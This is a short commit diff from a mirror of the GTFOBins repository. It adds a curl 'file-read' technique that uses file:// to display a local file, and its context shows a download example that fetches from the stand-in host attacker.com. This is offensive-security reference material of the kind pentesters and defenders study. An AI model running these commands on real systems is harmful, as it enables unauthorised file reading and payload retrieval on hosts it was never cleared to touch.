mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add file-read to curl
This commit is contained in:
parent
e3c2d148ca
commit
2514e7d0dd
@ -12,4 +12,9 @@ functions:
|
||||
URL=http://attacker.com/file_to_get
|
||||
LFILE=file_to_save
|
||||
curl $URL -o $LFILE
|
||||
file-read:
|
||||
- description: Uses the FILE protocol to fetch and display the file. The file path must be absolute.
|
||||
code: |
|
||||
LFILE=/tmp/file_to_read
|
||||
curl file://$LFILE
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user